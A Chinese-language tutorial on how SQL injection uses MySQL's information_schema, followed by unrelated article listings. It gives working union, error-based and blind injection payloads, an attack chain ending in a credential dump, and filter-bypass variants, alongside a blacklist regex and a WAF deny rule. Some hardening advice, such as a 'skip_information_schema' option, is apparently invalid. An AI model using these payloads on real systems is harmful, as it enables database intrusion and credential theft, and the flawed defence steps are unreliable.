MySQL的information_schema在SQL注入中的關鍵作用與防御策略

目錄

一、information_schema的核心價值

二、攻擊利用場景與示例

1. 聯合查詢注入(Union-Based)

2. 報錯注入(Error-Based)

3. 布爾盲注(Boolean Blind)

4. 時間盲注(Time-Based)

三、攻擊鏈中的關鍵步驟

四、不同MySQL版本的差異

五、防御策略與實戰方案

1. 最小權限原則

2. 輸入過濾與攔截

3. 數據庫加固

4. WAF規則示例(ModSecurity)

六、進階繞過技術及應對

1. 編碼繞過

2. 替代元數據源

3. 基于時間的模糊探測

七、企業級防御架構

結語


一、information_schema的核心價值

information_schema是MySQL默認的系統數據庫,存儲了所有數據庫的元數據信息。在SQL注入攻擊中,它相當于攻擊者的“地圖”,用于探測目標數據庫結構,具體包含以下關鍵表:

  • ??TABLES??:記錄所有表名及所屬數據庫(table_name,?table_schema
  • ??COLUMNS??:記錄所有列名及所屬表(column_name,?table_name
  • ??SCHEMATA??:列出所有數據庫名(schema_name
  • ??USER_PRIVILEGES??:用戶權限信息
二、攻擊利用場景與示例
1. 聯合查詢注入(Union-Based)

通過聯合查詢直接讀取元數據:

' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()-- 

結果示例:

+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users      | app_db       |
| orders     | app_db       |
+------------+--------------+
2. 報錯注入(Error-Based)

利用報錯函數提取信息:

' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))-- 

報錯輸出:

XPATH syntax error: '~password'
3. 布爾盲注(Boolean Blind)

逐字符猜測表名:

' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'-- 

若頁面返回正常,說明第一個表名的首字母是u

4. 時間盲注(Time-Based)

通過延時判斷數據存在性:

' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)-- 

若響應延遲5秒,說明當前數據庫存在超過5張表。

三、攻擊鏈中的關鍵步驟
  1. ??枚舉數據庫??:
    SELECT schema_name FROM information_schema.schemata
  2. ??定位目標表??:
    SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'
  3. ??獲取字段結構??:
    SELECT column_name FROM information_schema.columns WHERE table_name='users'
  4. ??構造最終Payload??:
    UNION SELECT username, password FROM users-- 
四、不同MySQL版本的差異
版本范圍information_schema訪問特性注入影響
MySQL < 5.0information_schema需暴力猜解表名/列名
MySQL 5.0-5.6完整元數據訪問,默認對所有用戶可見攻擊者可完整枚舉數據庫結構
MySQL ≥ 5.7引入performance_schema,部分權限受限SELECT權限訪問元數據
五、防御策略與實戰方案
1. 最小權限原則
  • ??應用賬戶權限配置??:
    CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!';
    GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%';
    REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';
2. 輸入過濾與攔截
  • ??黑名單過濾關鍵詞??(正則示例):
    (information_schema\.(tables|columns)|schema_name\b)
  • ??參數化查詢??(Python示例):
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
3. 數據庫加固
  • ??禁用元數據訪問??(需重啟):
    [mysqld]
    skip_information_schema
  • ??日志監控可疑查詢??:
    SELECT * FROM mysql.general_log 
    WHERE argument LIKE '%information_schema%';
4. WAF規則示例(ModSecurity)
SecRule ARGS "@contains information_schema" \"id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"
六、進階繞過技術及應對
1. 編碼繞過
  • ??十六進制編碼??:
    UNION SELECT * FROM information_schema.`TABLES` -- 正常訪問
    UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 雙寫繞過
    ' UNION SELECT * FROM info%72mation_schema.tables -- URL編碼
2. 替代元數據源

information_schema不可用時,攻擊者可能嘗試:

  • ??mysql系統庫??(需更高權限):
    SELECT db, table_name FROM mysql.db
  • ??暴力猜解??:
    AND (SELECT COUNT(*) FROM users) > 0 -- 假設存在users表
3. 基于時間的模糊探測
IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)
七、企業級防御架構

結語

information_schema是SQL注入攻擊的“戰略要地”,防御需建立多層防線:

  1. ??權限最小化??:嚴格限制數據庫賬戶權限
  2. ??輸入消毒??:結合正則過濾與參數化查詢
  3. ??深度監控??:實時審計敏感元數據訪問行為
  4. ??縱深防御??:WAF與數據庫防火墻聯動防護

通過代碼層、網絡層、數據庫層的三重加固,可有效遏制攻擊者利用系統元數據實施數據泄露,將SQL注入的危害降到最低。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/78925.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/78925.shtml
英文地址,請注明出處:http://en.pswp.cn/web/78925.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

c語言 關鍵字--目錄

下面是詳細介紹的鏈接 1.c語言 關鍵字 2.typedef 關鍵字 3.volatile 關鍵字 4.register 關鍵字 5.const關鍵字用法 6.extern關鍵字 7.sizeof關鍵字

python爬蟲爬取網站圖片出現403解決方法【僅供學習使用】

基于CSDN第一篇文章&#xff0c;Python爬蟲之入門保姆級教程&#xff0c;學不會我去你家刷廁所。 這篇文章是2021年作者發表的&#xff0c;由于此教程&#xff0c;網站添加了反爬機制&#xff0c;有作者通過添加cookie信息來達到原來的效果&#xff0c;Python爬蟲添加Cookies以…

docker創建一個centOS容器安裝軟件(以寶塔為例)的詳細步驟

備忘&#xff1a;后續偶爾忘記了docker虛擬機與宿主機的端口映射關系&#xff0c;來這里查看即可&#xff1a; docker run -d \ --name baota \ --privilegedtrue \ -p 8888:8888 \ -p 8880:80 \ -p 8443:443 \ -p 8820:20 \ -p 8821:21 \ -v /home/www:/www/wwwroot \ centos…

linux 使用nginx部署ssl證書,將http升級為https

前言 本文基于&#xff1a;操作系統 CentOS Stream 8 使用工具&#xff1a;Xshell 8、Xftp 8 服務器基礎環境&#xff1a; nginx - 請查看 linux 使用nginx部署vue、react項目 所需服務器基礎環境&#xff0c;請根據提示進行下載、安裝。 1.下載證書 以騰訊云為例&#x…

日常開發中,iOS 性能調優我們怎么做?

日常開發中&#xff0c;iOS 性能調優我們怎么做&#xff1f;聊聊我用過的幾款工具 最近在給一個 iOS 視頻類 App 做性能優化&#xff0c;過程中踩了不少坑&#xff0c;也用了一些不錯的工具&#xff0c;今天就以一個開發者視角隨便聊聊我在調試過程中的一些經驗。 一、性能問…

Redis ⑨-Jedis | Spring Redis

Jedis 通過 Jedis 可以連接 Redis 服務器。 通過 Maven 引入 Jedis 依賴。 <!-- https://mvnrepository.com/artifact/redis.clients/jedis --> <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><versi…

【人工智能】解鎖AI潛能:LM Studio多模型并行運行DeepSeek與開源大模型的實踐指南

《Python OpenCV從菜鳥到高手》帶你進入圖像處理與計算機視覺的大門! 解鎖Python編程的無限可能:《奇妙的Python》帶你漫游代碼世界 隨著大語言模型(LLM)的快速發展,LM Studio作為一款本地化部署工具,以其簡單易用的圖形化界面和強大的模型管理能力受到廣泛關注。本文深…

Node.js面試題

一、什么是Node.js&#xff1f; Node.js 是一個開源的跨平臺 JavaScript 運行時環境&#xff0c;允許開發者在服務器端運行 JavaScript 代碼。它基于 Chrome 的 V8 JavaScript 引擎構建&#xff0c;能夠高效地處理 I/O 操作&#xff0c;適合構建高性能的網絡應用。 異步非阻塞&…

Playwright MCP 入門實戰:自動化測試與 Copilot 集成指南

什么是 MCP&#xff1f; MCP&#xff08;Model Context Protocol&#xff09; 是一種為大語言模型&#xff08;LLM&#xff09;設計的協議&#xff0c;MCP充當 LLM 與實際應用之間的橋梁或“翻譯器”&#xff0c;將自然語言轉化為結構化指令&#xff0c;使得模型可以更精確、高…

達夢DM數據庫安裝步驟

文章目錄 1、下載并解壓縮2、安裝DM數據庫2.1 運行安裝程序2.2 選擇語言與時區2.3 安裝向導2.4 許可證協議2.5 Key文件2.6 選擇組件2.7 安裝位置2.8 安裝前小結2.9 安裝過程2.10 已完成2.11 初始化 3、配置實例3.1選擇操作方式3.2創建數據庫模版3.3指定數據庫目錄3.4數據庫標識…

電商雙11美妝數據分析(2)

接下來用seaborn包給出每個店鋪各個大類以及各個小類的銷量銷售額 關于性別 接下來考慮性別因素&#xff0c;了解各類產品在男性消費者中的銷量占比 男士的銷量基本來自于清潔類&#xff0c;其次是補水類。而這兩類正是總銷量中占比最高的兩類。 非男士專用中&#xff0c;補水…

54.實現Trie(前綴樹)

Trie(發音類似 "try")或者說 前綴樹 是一種樹形數據結構&#xff0c;用于高效地存儲和檢索字符串數據集中的鍵。這一數據結構有相當多的應用情景&#xff0c;例如自動補全和拼寫檢查。 請你實現 Trie 類&#xff1a; Trie() 初始化前綴樹對象。void insert(String wo…

Excel文件批量處理指南 | 用VBA一鍵操作文件夾所有工作簿

系列文章 Excel跨文件夾批處理黑科技 | 用VBA遞歸遍歷所有子目錄 目錄 系列文章&#x1f4c1; Excel文件批量處理指南 | 用VBA一鍵操作文件夾所有工作簿一、場景痛點與解決方案二、核心代碼架構解析1. 文件遍歷引擎2. 安全打開機制3. 錯誤處理框架 三、7大實戰應用場景場景1&a…

南京大學OpenHarmony技術俱樂部正式揭牌 倉頡編程語言引領生態創新

2025年4月24日&#xff0c;由OpenAtom OpenHarmony&#xff08;以下簡稱“OpenHarmony”&#xff09;項目群技術指導委員會與南京大學軟件學院共同舉辦的“南京大學OpenHarmony技術俱樂部成立大會暨基礎軟件與生態應用論壇”在南京大學仙林校區召開。 大會聚焦國產自主編程語言…

C++回調函數學習

C回調函數學習 遇到問題&#xff0c;要學習C回調函數 遇到問題&#xff0c;要學習C回調函數 來吧&#xff0c;直接看代碼吧 共有4種方法&#xff0c;每種方法都有標識&#xff0c;對用的屏蔽和打開就可以使用 原文在這里&#xff1a; #include<iostream> #include<f…

PDF解析新范式:Free2AI工具實測

在數字化浪潮中,PDF文件已成為企業、政府及個人存儲與傳遞信息的核心載體。然而,PDF內容的提取與處理始終是行業痛點——無論是合同解析、研究報告整理,還是大規模知識庫構建,傳統方法常面臨效率低、成本高、準確率不足等問題。Free2AI基于智能體技術與大模型算力,為PDF內…

【JS逆向基礎】WEB自動化

前言&#xff1a;隨著互聯網的發展&#xff0c;前端技術也在不斷變化&#xff0c;數據的加載方式也不再是單純的服務端渲染了。現在你可以看到很多網站的數據可能都是通過接口的形式傳輸的&#xff0c;或者即使不是接口那也是一些 JSON 的數據&#xff0c;然后經過 JavaScript …

大型旋轉機械信號趨勢分析算法模塊

大型旋轉機械信號趨勢分析算法模塊&#xff0c;作為信號處理算法工具箱的主要功能模塊&#xff0c;可應用于各類關鍵機械部件&#xff08;軸承、齒輪、轉子等&#xff09;的信號分析、故障探測、趨勢劣化評估等&#xff0c;采用全Python語言&#xff0c;以B/S模式&#xff0c;通…

01背包專題4:小A點菜

題目背景 uim 神犇拿到了 uoi 的 ra&#xff08;鐳牌&#xff09;后&#xff0c;立刻拉著基友小 A 到了一家……餐館&#xff0c;很低端的那種。 uim 指著墻上的價目表&#xff08;太低級了沒有菜單&#xff09;&#xff0c;說&#xff1a;“隨便點”。 題目描述 不過 uim …

探索SQLMesh中的Jinja宏:提升SQL查詢的靈活性與復用性

在數據工程和數據分析領域&#xff0c;SQL是不可或缺的工具。隨著項目復雜度的增加&#xff0c;如何高效地管理和復用SQL代碼成為了一個重要課題。SQLMesh作為一款強大的工具&#xff0c;不僅支持標準的SQL語法&#xff0c;還引入了Jinja模板引擎的宏功能&#xff0c;極大地提升…